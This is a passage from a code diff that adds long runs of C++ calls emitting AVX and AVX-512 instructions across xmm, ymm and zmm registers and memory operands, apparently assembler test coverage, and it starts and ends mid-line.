zmmC); + a.vfmsubadd132pd(zmmA, zmmB, anyptr_gpC); + a.vfmsubadd132ps(xmmA, xmmB, xmmC); + a.vfmsubadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd132ps(ymmA, ymmB, ymmC); + a.vfmsubadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd132ps(zmmA, zmmB, zmmC); + a.vfmsubadd132ps(zmmA, zmmB, anyptr_gpC); + a.vfmsubadd213pd(xmmA, xmmB, xmmC); + a.vfmsubadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd213pd(ymmA, ymmB, ymmC); + a.vfmsubadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd213pd(zmmA, zmmB, zmmC); + a.vfmsubadd213pd(zmmA, zmmB, anyptr_gpC); + a.vfmsubadd213ps(xmmA, xmmB, xmmC); + a.vfmsubadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd213ps(ymmA, ymmB, ymmC); + a.vfmsubadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd213ps(zmmA, zmmB, zmmC); + a.vfmsubadd213ps(zmmA, zmmB, anyptr_gpC); + a.vfmsubadd231pd(xmmA, xmmB, xmmC); + a.vfmsubadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd231pd(ymmA, ymmB, ymmC); + a.vfmsubadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd231pd(zmmA, zmmB, zmmC); + a.vfmsubadd231pd(zmmA, zmmB, anyptr_gpC); + a.vfmsubadd231ps(xmmA, xmmB, xmmC); + a.vfmsubadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfmsubadd231ps(ymmA, ymmB, ymmC); + a.vfmsubadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfmsubadd231ps(zmmA, zmmB, zmmC); + a.vfmsubadd231ps(zmmA, zmmB, anyptr_gpC); + a.vfnmadd132pd(xmmA, xmmB, xmmC); + a.vfnmadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132pd(ymmA, ymmB, ymmC); + a.vfnmadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd132pd(zmmA, zmmB, zmmC); + a.vfnmadd132pd(zmmA, zmmB, anyptr_gpC); + a.vfnmadd132ps(xmmA, xmmB, xmmC); + a.vfnmadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132ps(ymmA, ymmB, ymmC); + a.vfnmadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd132ps(zmmA, zmmB, zmmC); + a.vfnmadd132ps(zmmA, zmmB, anyptr_gpC); + a.vfnmadd132sd(xmmA, xmmB, xmmC); + a.vfnmadd132sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd132ss(xmmA, xmmB, xmmC); + a.vfnmadd132ss(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213pd(xmmA, xmmB, xmmC); + a.vfnmadd213pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213pd(ymmA, ymmB, ymmC); + a.vfnmadd213pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd213pd(zmmA, zmmB, zmmC); + a.vfnmadd213pd(zmmA, zmmB, anyptr_gpC); + a.vfnmadd213ps(xmmA, xmmB, xmmC); + a.vfnmadd213ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213ps(ymmA, ymmB, ymmC); + a.vfnmadd213ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd213ps(zmmA, zmmB, zmmC); + a.vfnmadd213ps(zmmA, zmmB, anyptr_gpC); + a.vfnmadd213sd(xmmA, xmmB, xmmC); + a.vfnmadd213sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd213ss(xmmA, xmmB, xmmC); + a.vfnmadd213ss(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231pd(xmmA, xmmB, xmmC); + a.vfnmadd231pd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231pd(ymmA, ymmB, ymmC); + a.vfnmadd231pd(ymmA, ymmB, anyptr_gpC); + a.vfnmadd231pd(zmmA, zmmB, zmmC); + a.vfnmadd231pd(zmmA, zmmB, anyptr_gpC); + a.vfnmadd231ps(xmmA, xmmB, xmmC); + a.vfnmadd231ps(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231ps(ymmA, ymmB, ymmC); + a.vfnmadd231ps(ymmA, ymmB, anyptr_gpC); + a.vfnmadd231ps(zmmA, zmmB, zmmC); + a.vfnmadd231ps(zmmA, zmmB, anyptr_gpC); + a.vfnmadd231sd(xmmA, xmmB, xmmC); + a.vfnmadd231sd(xmmA, xmmB, anyptr_gpC); + a.vfnmadd231ss(xmmA, xmmB, xmmC); + a.vfnmadd231ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132pd(xmmA, xmmB, xmmC); + a.vfnmsub132pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132pd(ymmA, ymmB, ymmC); + a.vfnmsub132pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub132pd(zmmA, zmmB, zmmC); + a.vfnmsub132pd(zmmA, zmmB, anyptr_gpC); + a.vfnmsub132ps(xmmA, xmmB, xmmC); + a.vfnmsub132ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132ps(ymmA, ymmB, ymmC); + a.vfnmsub132ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub132ps(zmmA, zmmB, zmmC); + a.vfnmsub132ps(zmmA, zmmB, anyptr_gpC); + a.vfnmsub132sd(xmmA, xmmB, xmmC); + a.vfnmsub132sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub132ss(xmmA, xmmB, xmmC); + a.vfnmsub132ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213pd(xmmA, xmmB, xmmC); + a.vfnmsub213pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213pd(ymmA, ymmB, ymmC); + a.vfnmsub213pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub213pd(zmmA, zmmB, zmmC); + a.vfnmsub213pd(zmmA, zmmB, anyptr_gpC); + a.vfnmsub213ps(xmmA, xmmB, xmmC); + a.vfnmsub213ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213ps(ymmA, ymmB, ymmC); + a.vfnmsub213ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub213ps(zmmA, zmmB, zmmC); + a.vfnmsub213ps(zmmA, zmmB, anyptr_gpC); + a.vfnmsub213sd(xmmA, xmmB, xmmC); + a.vfnmsub213sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub213ss(xmmA, xmmB, xmmC); + a.vfnmsub213ss(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231pd(xmmA, xmmB, xmmC); + a.vfnmsub231pd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231pd(ymmA, ymmB, ymmC); + a.vfnmsub231pd(ymmA, ymmB, anyptr_gpC); + a.vfnmsub231pd(zmmA, zmmB, zmmC); + a.vfnmsub231pd(zmmA, zmmB, anyptr_gpC); + a.vfnmsub231ps(xmmA, xmmB, xmmC); + a.vfnmsub231ps(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231ps(ymmA, ymmB, ymmC); + a.vfnmsub231ps(ymmA, ymmB, anyptr_gpC); + a.vfnmsub231ps(zmmA, zmmB, zmmC); + a.vfnmsub231ps(zmmA, zmmB, anyptr_gpC); + a.vfnmsub231sd(xmmA, xmmB, xmmC); + a.vfnmsub231sd(xmmA, xmmB, anyptr_gpC); + a.vfnmsub231ss(xmmA, xmmB, xmmC); + a.vfnmsub231ss(xmmA, xmmB, anyptr_gpC); + a.vfpclasspd(kA, xmmB, 0); + a.vfpclasspd(kA, anyptr_gpB, 0); + a.vfpclasspd(kA, ymmB, 0); + a.vfpclasspd(kA, anyptr_gpB, 0); + a.vfpclasspd(kA, zmmB, 0); + a.vfpclasspd(kA, anyptr_gpB, 0); + a.vfpclassps(kA, xmmB, 0); + a.vfpclassps(kA, anyptr_gpB, 0); + a.vfpclassps(kA, ymmB, 0); + a.vfpclassps(kA, anyptr_gpB, 0); + a.vfpclassps(kA, zmmB, 0); + a.vfpclassps(kA, anyptr_gpB, 0); + a.vfpclasssd(kA, xmmB, 0); + a.vfpclasssd(kA, anyptr_gpB, 0); + a.vfpclassss(kA, xmmB, 0); + a.vfpclassss(kA, anyptr_gpB, 0); + a.vgatherdpd(xmmA, vx_ptr); + a.vgatherdpd(ymmA, vy_ptr); + a.vgatherdpd(zmmA, vz_ptr); + a.vgatherdps(xmmA, vx_ptr); + a.vgatherdps(ymmA, vy_ptr); + a.vgatherdps(zmmA, vz_ptr); + a.vgatherpf0dpd(vy_ptr); + a.vgatherpf0dps(vz_ptr); + a.vgatherpf0qpd(vz_ptr); + a.vgatherpf0qps(vz_ptr); + a.vgatherpf1dpd(vy_ptr); + a.vgatherpf1dps(vz_ptr); + a.vgatherpf1qpd(vz_ptr); + a.vgatherpf1qps(vz_ptr); + a.vgatherqpd(xmmA, vx_ptr); + a.vgatherqpd(ymmA, vy_ptr); + a.vgatherqpd(zmmA, vz_ptr); + a.vgatherqps(xmmA, vx_ptr); + a.vgatherqps(ymmA, vy_ptr); + a.vgatherqps(zmmA, vz_ptr); + a.vgetexppd(xmmA, xmmB); + a.vgetexppd(xmmA, anyptr_gpB); + a.vgetexppd(ymmA, ymmB); + a.vgetexppd(ymmA, anyptr_gpB); + a.vgetexppd(zmmA, zmmB); + a.vgetexppd(zmmA, anyptr_gpB); + a.vgetexpps(xmmA, xmmB); + a.vgetexpps(xmmA, anyptr_gpB); + a.vgetexpps(ymmA, ymmB); + a.vgetexpps(ymmA, anyptr_gpB); + a.vgetexpps(zmmA, zmmB); + a.vgetexpps(zmmA, anyptr_gpB); + a.vgetexpsd(xmmA, xmmB); + a.vgetexpsd(xmmA, anyptr_gpB); + a.vgetexpss(xmmA, xmmB); + a.vgetexpss(xmmA, anyptr_gpB); + a.vgetmantpd(xmmA, xmmB, 0); + a.vgetmantpd(xmmA, anyptr_gpB, 0); + a.vgetmantpd(ymmA, ymmB, 0); + a.vgetmantpd(ymmA, anyptr_gpB, 0); + a.vgetmantpd(zmmA, zmmB, 0); + a.vgetmantpd(zmmA, anyptr_gpB, 0); + a.vgetmantps(xmmA, xmmB, 0); + a.vgetmantps(xmmA, anyptr_gpB, 0); + a.vgetmantps(ymmA, ymmB, 0); + a.vgetmantps(ymmA, anyptr_gpB, 0); + a.vgetmantps(zmmA, zmmB, 0); + a.vgetmantps(zmmA, anyptr_gpB, 0); + a.vgetmantsd(xmmA, xmmB, 0); + a.vgetmantsd(xmmA, anyptr_gpB, 0); + a.vgetmantss(xmmA, xmmB, 0); + a.vgetmantss(xmmA, anyptr_gpB, 0); + a.vinsertf32x4(ymmA, ymmB, xmmC, 0); + a.vinsertf32x4(ymmA, ymmB, anyptr_gpC, 0); + a.vinsertf32x4(zmmA, zmmB, xmmC, 0); + a.vinsertf32x4(zmmA, zmmB, anyptr_gpC, 0); + a.vinsertf32x8(zmmA, zmmB, ymmC, 0); + a.vinsertf32x8(zmmA, zmmB, anyptr_gpC, 0); + a.vinsertf64x2(ymmA, ymmB, xmmC, 0); + a.vinsertf64x2(ymmA, ymmB, anyptr_gpC, 0); + a.vinsertf64x2(zmmA, zmmB, xmmC, 0); + a.vinsertf64x2(zmmA, zmmB, anyptr_gpC, 0); + a.vinsertf64x4(zmmA, zmmB, ymmC, 0); + a.vinsertf64x4(zmmA, zmmB, anyptr_gpC, 0); + a.vinserti32x4(ymmA, ymmB, xmmC, 0); + a.vinserti32x4(ymmA, ymmB, anyptr_gpC, 0); + a.vinserti32x4(zmmA, zmmB, xmmC, 0); + a.vinserti32x4(zmmA, zmmB, anyptr_gpC, 0); + a.vinserti32x8(zmmA, zmmB, ymmC, 0); + a.vinserti32x8(zmmA, zmmB, anyptr_gpC, 0); + a.vinserti64x2(ymmA, ymmB, xmmC, 0); + a.vinserti64x2(ymmA, ymmB, anyptr_gpC, 0); + a.vinserti64x2(zmmA, zmmB, xmmC, 0); + a.vinserti64x2(zmmA, zmmB, anyptr_gpC, 0); + a.vinserti64x4(zmmA, zmmB, ymmC, 0); + a.vinserti64x4(zmmA, zmmB, anyptr_gpC, 0); + a.vinsertps(xmmA, xmmB, xmmC, 0); + a.vinsertps(xmmA, xmmB, anyptr_gpC, 0); + a.vmaxpd(xmmA, xmmB, xmmC); + a.vmaxpd(xmmA, xmmB, anyptr_gpC); + a.vmaxpd(ymmA, ymmB, ymmC); + a.vmaxpd(ymmA, ymmB, anyptr_gpC); + a.vmaxpd(zmmA, zmmB, zmmC); + a.vmaxpd(zmmA, zmmB, anyptr_gpC); + a.vmaxps(xmmA, xmmB, xmmC); + a.vmaxps(xmmA, xmmB, anyptr_gpC); + a.vmaxps(ymmA, ymmB, ymmC); + a.vmaxps(ymmA, ymmB, anyptr_gpC); + a.vmaxps(zmmA, zmmB, zmmC); + a.vmaxps(zmmA, zmmB, anyptr_gpC); + a.vmaxsd(xmmA, xmmB, xmmC); + a.vmaxsd(xmmA, xmmB, anyptr_gpC); + a.vmaxss(xmmA, xmmB, xmmC); + a.vmaxss(xmmA, xmmB, anyptr_gpC); + a.vminpd(xmmA, xmmB, xmmC); + a.vminpd(xmmA, xmmB, anyptr_gpC); + a.vminpd(ymmA, ymmB, ymmC); + a.vminpd(ymmA, ymmB, anyptr_gpC); + a.vminpd(zmmA, zmmB, zmmC); + a.vminpd(zmmA, zmmB, anyptr_gpC); + a.vminps(xmmA, xmmB, xmmC); + a.vminps(xmmA, xmmB, anyptr_gpC); + a.vminps(ymmA, ymmB, ymmC); + a.vminps(ymmA, ymmB, anyptr_gpC); + a.vminps(zmmA, zmmB, zmmC); + a.vminps(zmmA, zmmB, anyptr_gpC); + a.vminsd(xmmA, xmmB, xmmC); + a.vminsd(xmmA, xmmB, anyptr_gpC); + a.vminss(xmmA, xmmB, xmmC); + a.vminss(xmmA, xmmB, anyptr_gpC); + a.vmovapd(xmmA, xmmB); + a.vmovapd(xmmA, anyptr_gpB); + a.vmovapd(xmmA, xmmB); + a.vmovapd(anyptr_gpA, xmmB); + a.vmovapd(ymmA, ymmB); + a.vmovapd(ymmA, anyptr_gpB); + a.vmovapd(ymmA, ymmB); + a.vmovapd(anyptr_gpA, ymmB); + a.vmovapd(zmmA, zmmB); + a.vmovapd(zmmA, anyptr_gpB); + a.vmovapd(zmmA, zmmB); + a.vmovapd(anyptr_gpA, zmmB); + a.vmovaps(xmmA, xmmB); + a.vmovaps(xmmA, anyptr_gpB); + a.vmovaps(xmmA, xmmB); + a.vmovaps(anyptr_gpA, xmmB); + a.vmovaps(ymmA, ymmB); + a.vmovaps(ymmA, anyptr_gpB); + a.vmovaps(ymmA, ymmB); + a.vmovaps(anyptr_gpA, ymmB); + a.vmovaps(zmmA, zmmB); + a.vmovaps(zmmA, anyptr_gpB); + a.vmovaps(zmmA, zmmB); + a.vmovaps(anyptr_gpA, zmmB); + a.vmovd(gdA, xmmB); + a.vmovd(gzA, xmmB); + a.vmovd(anyptr_gpA, xmmB); + a.vmovd(xmmA, gdB); + a.vmovd(xmmA, gzB); + a.vmovd(xmmA, anyptr_gpB); + a.vmovddup(xmmA, xmmB); + a.vmovddup(xmmA, anyptr_gpB); + a.vmovddup(ymmA, ymmB); + a.vmovddup(ymmA, anyptr_gpB); + a.vmovddup(zmmA, zmmB); + a.vmovddup(zmmA, anyptr_gpB); + a.vmovdqa32(xmmA, xmmB); + a.vmovdqa32(xmmA, anyptr_gpB); + a.vmovdqa32(xmmA, xmmB); + a.vmovdqa32(anyptr_gpA, xmmB); + a.vmovdqa32(ymmA, ymmB); + a.vmovdqa32(ymmA, anyptr_gpB); + a.vmovdqa32(ymmA, ymmB); + a.vmovdqa32(anyptr_gpA, ymmB); + a.vmovdqa32(zmmA, zmmB); + a.vmovdqa32(zmmA, anyptr_gpB); + a.vmovdqa32(zmmA, zmmB); + a.vmovdqa32(anyptr_gpA, zmmB); + a.vmovdqa64(xmmA, xmmB); + a.vmovdqa64(xmmA, anyptr_gpB); + a.vmovdqa64(xmmA, xmmB); + a.vmovdqa64(anyptr_gpA, xmmB); + a.vmovdqa64(ymmA, ymmB); + a.vmovdqa64(ymmA, anyptr_gpB); + a.vmovdqa64(ymmA, ymmB); + a.vmovdqa64(anyptr_gpA, ymmB); + a.vmovdqa64(zmmA, zmmB); + a.vmovdqa64(zmmA, anyptr_gpB); + a.vmovdqa64(zmmA, zmmB); + a.vmovdqa64(anyptr_gpA, zmmB); + a.vmovdqu16(xmmA, xmmB); + a.vmovdqu16(xmmA, anyptr_gpB); + a.vmovdqu16(xmmA, xmmB); + a.vmovdqu16(anyptr_gpA, xmmB); + a.vmovdqu16(ymmA, ymmB); + a.vmovdqu16(ymmA, anyptr_gpB); + a.vmovdqu16(ymmA, ymmB); + a.vmovdqu16(anyptr_gpA, ymmB); + a.vmovdqu16(zmmA, zmmB); + a.vmovdqu16(zmmA, anyptr_gpB); + a.vmovdqu16(zmmA, zmmB); + a.vmovdqu16(anyptr_gpA, zmmB); + a.vmovdqu32(xmmA, xmmB); + a.vmovdqu32(xmmA, anyptr_gpB); + a.vmovdqu32(xmmA, xmmB); + a.vmovdqu32(anyptr_gpA, xmmB); + a.vmovdqu32(ymmA, ymmB); + a.vmovdqu32(ymmA, anyptr_gpB); + a.vmovdqu32(ymmA, ymmB); + a.vmovdqu32(anyptr_gpA, ymmB); + a.vmovdqu32(zmmA, zmmB); + a.vmovdqu32(zmmA, anyptr_gpB); + a.vmovdqu32(zmmA, zmmB); + a.vmovdqu32(anyptr_gpA, zmmB); + a.vmovdqu64(xmmA, xmmB); + a.vmovdqu64(xmmA, anyptr_gpB); + a.vmovdqu64(xmmA, xmmB); + a.vmovdqu64(anyptr_gpA, xmmB); + a.vmovdqu64(ymmA, ymmB); + a.vmovdqu64(ymmA, anyptr_gpB); + a.vmovdqu64(ymmA, ymmB); + a.vmovdqu64(anyptr_gpA, ymmB); + a.vmovdqu64(zmmA, zmmB); + a.vmovdqu64(zmmA, anyptr_gpB); + a.vmovdqu64(zmmA, zmmB); + a.vmovdqu64(anyptr_gpA, zmmB); + a.vmovdqu8(xmmA, xmmB); + a.vmovdqu8(xmmA, anyptr_gpB); + a.vmovdqu8(xmmA, xmmB); + a.vmovdqu8(anyptr_gpA, xmmB); + a.vmovdqu8(ymmA, ymmB); + a.vmovdqu8(ymmA, anyptr_gpB); + a.vmovdqu8(ymmA, ymmB); + a.vmovdqu8(anyptr_gpA, ymmB); + a.vmovdqu8(zmmA, zmmB); + a.vmovdqu8(zmmA, anyptr_gpB); + a.vmovdqu8(zmmA, zmmB); + a.vmovdqu8(anyptr_gpA, zmmB); + a.vmovhlps(xmmA, xmmB, xmmC); + a.vmovhpd(anyptr_gpA, xmmB); + a.vmovhpd(xmmA, xmmB, anyptr_gpC); + a.vmovhps(anyptr_gpA, xmmB); + a.vmovhps(xmmA, xmmB, anyptr_gpC); + a.vmovlhps(xmmA, xmmB, xmmC); + a.vmovlpd(anyptr_gpA, xmmB); + a.vmovlpd(xmmA, xmmB, anyptr_gpC); + a.vmovlps(anyptr_gpA, xmmB); + a.vmovlps(xmmA, xmmB, anyptr_gpC); + a.vmovntdq(anyptr_gpA, xmmB); + a.vmovntdq(anyptr_gpA, ymmB); + a.vmovntdq(anyptr_gpA, zmmB); + a.vmovntdqa(xmmA, anyptr_gpB); + a.vmovntdqa(ymmA, anyptr_gpB); + a.vmovntdqa(zmmA, anyptr_gpB); + a.vmovntpd(anyptr_gpA, xmmB); + a.vmovntpd(anyptr_gpA, ymmB); + a.vmovntpd(anyptr_gpA, zmmB); + a.vmovntps(anyptr_gpA, xmmB); + a.vmovntps(anyptr_gpA, ymmB); + a.vmovntps(anyptr_gpA, zmmB); + if (isX64) a.vmovq(gzA, xmmB); + if (isX64) a.vmovq(xmmA, gzB); + a.vmovq(anyptr_gpA, xmmB); + a.vmovq(xmmA, anyptr_gpB); + a.vmovq(xmmA, xmmB); + a.vmovq(xmmA, anyptr_gpB); + a.vmovq(xmmA, xmmB); + a.vmovq(anyptr_gpA, xmmB); + a.vmovsd(anyptr_gpA, xmmB); + a.vmovsd(xmmA, anyptr_gpB); + a.vmovsd(xmmA, xmmB, xmmC); + a.vmovsd(xmmA, xmmB, xmmC); + a.vmovshdup(xmmA, xmmB); + a.vmovshdup(xmmA, anyptr_gpB); + a.vmovshdup(ymmA, ymmB); + a.vmovshdup(ymmA, anyptr_gpB); + a.vmovshdup(zmmA, zmmB); + a.vmovshdup(zmmA, anyptr_gpB); + a.vmovsldup(xmmA, xmmB); + a.vmovsldup(xmmA, anyptr_gpB); + a.vmovsldup(ymmA, ymmB); + a.vmovsldup(ymmA, anyptr_gpB); + a.vmovsldup(zmmA, zmmB); + a.vmovsldup(zmmA, anyptr_gpB); + a.vmovss(anyptr_gpA, xmmB); + a.vmovss(xmmA, anyptr_gpB); + a.vmovss(xmmA, xmmB, xmmC); + a.vmovss(xmmA, xmmB, xmmC); + a.vmovupd(xmmA, xmmB); + a.vmovupd(xmmA, anyptr_gpB); + a.vmovupd(xmmA, xmmB); + a.vmovupd(anyptr_gpA, xmmB); + a.vmovupd(ymmA, ymmB); + a.vmovupd(ymmA, anyptr_gpB); + a.vmovupd(ymmA, ymmB); + a.vmovupd(anyptr_gpA, ymmB); + a.vmovupd(zmmA, zmmB); + a.vmovupd(zmmA, anyptr_gpB); + a.vmovupd(zmmA, zmmB); + a.vmovupd(anyptr_gpA, zmmB); + a.vmovups(xmmA, xmmB); + a.vmovups(xmmA, anyptr_gpB); + a.vmovups(xmmA, xmmB); + a.vmovups(anyptr_gpA, xmmB); + a.vmovups(ymmA, ymmB); + a.vmovups(ymmA, anyptr_gpB); + a.vmovups(ymmA, ymmB); + a.vmovups(anyptr_gpA, ymmB); + a.vmovups(zmmA, zmmB); + a.vmovups(zmmA, anyptr_gpB); + a.vmovups(zmmA, zmmB); + a.vmovups(anyptr_gpA, zmmB); + a.vmulpd(xmmA, xmmB, xmmC); + a.vmulpd(xmmA, xmmB, anyptr_gpC); + a.vmulpd(ymmA, ymmB, ymmC); + a.vmulpd(ymmA, ymmB, anyptr_gpC); + a.vmulpd(zmmA, zmmB, zmmC); + a.vmulpd(zmmA, zmmB, anyptr_gpC); + a.vmulps(xmmA, xmmB, xmmC); + a.vmulps(xmmA, xmmB, anyptr_gpC); + a.vmulps(ymmA, ymmB, ymmC); + a.vmulps(ymmA, ymmB, anyptr_gpC); + a.vmulps(zmmA, zmmB, zmmC); + a.vmulps(zmmA, zmmB, anyptr_gpC); + a.vmulsd(xmmA, xmmB, xmmC); + a.vmulsd(xmmA, xmmB, anyptr_gpC); + a.vmulss(xmmA, xmmB, xmmC); + a.vmulss(xmmA, xmmB, anyptr_gpC); + a.vorpd(xmmA, xmmB, xmmC); + a.vorpd(xmmA, xmmB, anyptr_gpC); + a.vorpd(ymmA, ymmB, ymmC); + a.vorpd(ymmA, ymmB, anyptr_gpC); + a.vorpd(zmmA, zmmB, zmmC); + a.vorpd(zmmA, zmmB, anyptr_gpC); + a.vorps(xmmA, xmmB, xmmC); + a.vorps(xmmA, xmmB, anyptr_gpC); + a.vorps(ymmA, ymmB, ymmC); + a.vorps(ymmA, ymmB, anyptr_gpC); + a.vorps(zmmA, zmmB, zmmC); + a.vorps(zmmA, zmmB, anyptr_gpC); + a.vpabsb(xmmA, xmmB); + a.vpabsb(xmmA, anyptr_gpB); + a.vpabsb(ymmA, ymmB); + a.vpabsb(ymmA, anyptr_gpB); + a.vpabsb(zmmA, zmmB); + a.vpabsb(zmmA, anyptr_gpB); + a.vpabsd(xmmA, xmmB); + a.vpabsd(xmmA, anyptr_gpB); + a.vpabsd(ymmA, ymmB); + a.vpabsd(ymmA, anyptr_gpB); + a.vpabsd(zmmA, zmmB); + a.vpabsd(zmmA, anyptr_gpB); + a.vpabsq(xmmA, xmmB); + a.vpabsq(xmmA, anyptr_gpB); + a.vpabsq(ymmA, ymmB); + a.vpabsq(ymmA, anyptr_gpB); + a.vpabsq(zmmA, zmmB); + a.vpabsq(zmmA, anyptr_gpB); + a.vpabsw(xmmA, xmmB); + a.vpabsw(xmmA, anyptr_gpB); + a.vpabsw(ymmA, ymmB); + a.vpabsw(ymmA, anyptr_gpB); + a.vpabsw(zmmA, zmmB); + a.vpabsw(zmmA, anyptr_gpB); + a.vpackssdw(xmmA, xmmB, xmmC); + a.vpackssdw(xmmA, xmmB, anyptr_gpC); + a.vpackssdw(ymmA, ymmB, ymmC); + a.vpackssdw(ymmA, ymmB, anyptr_gpC); + a.vpackssdw(zmmA, zmmB, zmmC); + a.vpackssdw(zmmA, zmmB, anyptr_gpC); + a.vpacksswb(xmmA, xmmB, xmmC); + a.vpacksswb(xmmA, xmmB, anyptr_gpC); + a.vpacksswb(ymmA, ymmB, ymmC); + a.vpacksswb(ymmA, ymmB, anyptr_gpC); + a.vpacksswb(zmmA, zmmB, zmmC); + a.vpacksswb(zmmA, zmmB, anyptr_gpC); + a.vpackusdw(xmmA, xmmB, xmmC); + a.vpackusdw(xmmA, xmmB, anyptr_gpC); + a.vpackusdw(ymmA, ymmB, ymmC); + a.vpackusdw(ymmA, ymmB, anyptr_gpC); + a.vpackusdw(zmmA, zmmB, zmmC); + a.vpackusdw(zmmA, zmmB, anyptr_gpC); + a.vpackuswb(xmmA, xmmB, xmmC); + a.vpackuswb(xmmA, xmmB, anyptr_gpC); + a.vpackuswb(ymmA, ymmB, ymmC); + a.vpackuswb(ymmA, ymmB, anyptr_gpC); + a.vpackuswb(zmmA, zmmB, zmmC); + a.vpackuswb(zmmA, zmmB, anyptr_gpC); + a.vpaddb(xmmA, xmmB, xmmC); + a.vpaddb(xmmA, xmmB, anyptr_gpC); + a.vpaddb(ymmA, ymmB, ymmC); + a.vpaddb(ymmA, ymmB, anyptr_gpC); + a.vpaddb(zmmA, zmmB, zmmC); + a.vpaddb(zmmA, zmmB, anyptr_gpC); + a.vpaddd(xmmA, xmmB, xmmC); + a.vpaddd(xmmA, xmmB, anyptr_gpC); + a.vpaddd(ymmA, ymmB, ymmC); + a.vpaddd(ymmA, ymmB, anyptr_gpC); + a.vpaddd(zmmA, zmmB, zmmC); + a.vpaddd(zmmA, zmmB, anyptr_gpC); + a.vpaddq(xmmA, xmmB, xmmC); + a.vpaddq(xmmA, xmmB, anyptr_gpC); + a.vpaddq(ymmA, ymmB, ymmC); + a.vpaddq(ymmA, ymmB, anyptr_gpC); + a.vpaddq(zmmA, zmmB, zmmC); + a.vpaddq(zmmA, zmmB, anyptr_gpC); + a.vpaddsb(xmmA, xmmB, xmmC); + a.vpaddsb(xmmA, xmmB, anyptr_gpC); + a.vpaddsb(ymmA, ymmB, ymmC); + a.vpaddsb(ymmA, ymmB, anyptr_gpC); + a.vpaddsb(zmmA, zmmB, zmmC); + a.vpaddsb(zmmA, zmmB, anyptr_gpC); + a.vpaddsw(xmmA, xmmB, xmmC); + a.vpaddsw(xmmA, xmmB, anyptr_gpC); + a.vpaddsw(ymmA, ymmB, ymmC); + a.vpaddsw(ymmA, ymmB, anyptr_gpC); + a.vpaddsw(zmmA, zmmB, zmmC); + a.vpaddsw(zmmA, zmmB, anyptr_gpC); + a.vpaddusb(xmmA, xmmB, xmmC); + a.vpaddusb(xmmA, xmmB, anyptr_gpC); + a.vpaddusb(ymmA, ymmB, ymmC); + a.vpaddusb(ymmA, ymmB, anyptr_gpC); + a.vpaddusb(zmmA, zmmB, zmmC); + a.vpaddusb(zmmA, zmmB, anyptr_gpC); + a.vpaddusw(xmmA, xmmB, xmmC); + a.vpaddusw(xmmA, xmmB, anyptr_gpC); + a.vpaddusw(ymmA, ymmB, ymmC); + a.vpaddusw(ymmA, ymmB, anyptr_gpC); + a.vpaddusw(zmmA, zmmB, zmmC); + a.vpaddusw(zmmA, zmmB, anyptr_gpC); + a.vpaddw(xmmA, xmmB, xmmC); + a.vpaddw(xmmA, xmmB, anyptr_gpC); + a.vpaddw(ymmA, ymmB, ymmC); + a.vpaddw(ymmA, ymmB, anyptr_gpC); + a.vpaddw(zmmA, zmmB, zmmC); + a.vpaddw(zmmA, zmmB, anyptr_gpC); + a.vpalignr(xmmA, xmmB, xmmC, 0); + a.vpalignr(xmmA, xmmB, anyptr_gpC, 0); + a.vpalignr(ymmA, ymmB, ymmC, 0); + a.vpalignr(ymmA, ymmB, anyptr_gpC, 0); + a.vpalignr(zmmA, zmmB, zmmC, 0); + a.vpalignr(zmmA, zmmB, anyptr_gpC, 0); + a.vpandd(xmmA, xmmB, xmmC); + a.vpandd(xmmA, xmmB, anyptr_gpC); + a.vpandd(ymmA, ymmB, ymmC); + a.vpandd(ymmA, ymmB, anyptr_gpC); + a.vpandd(zmmA, zmmB, zmmC); + a.vpandd(zmmA, zmmB, anyptr_gpC); + a.vpandnd(xmmA, xmmB, xmmC); + a.vpandnd(xmmA, xmmB, anyptr_gpC); + a.vpandnd(ymmA, ymmB, ymmC); + a.vpandnd(ymmA, ymmB, anyptr_gpC); + a.vpandnd(zmmA, zmmB, zmmC); + a.vpandnd(zmmA, zmmB, anyptr_gpC); + a.vpandnq(xmmA, xmmB, xmmC); + a.vpandnq(xmmA, xmmB, anyptr_gpC); + a.vpandnq(ymmA, ymmB, ymmC); + a.vpandnq(ymmA, ymmB, anyptr_gpC); + a.vpandnq(zmmA, zmmB, zmmC); + a.vpandnq(zmmA, zmmB, anyptr_gpC); + a.vpandq(xmmA, xmmB, xmmC); + a.vpandq(xmmA, xmmB, anyptr_gpC); + a.vpandq(ymmA, ymmB, ymmC); + a.vpandq(ymmA, ymmB, anyptr_gpC); + a.vpandq(zmmA, zmmB, zmmC); + 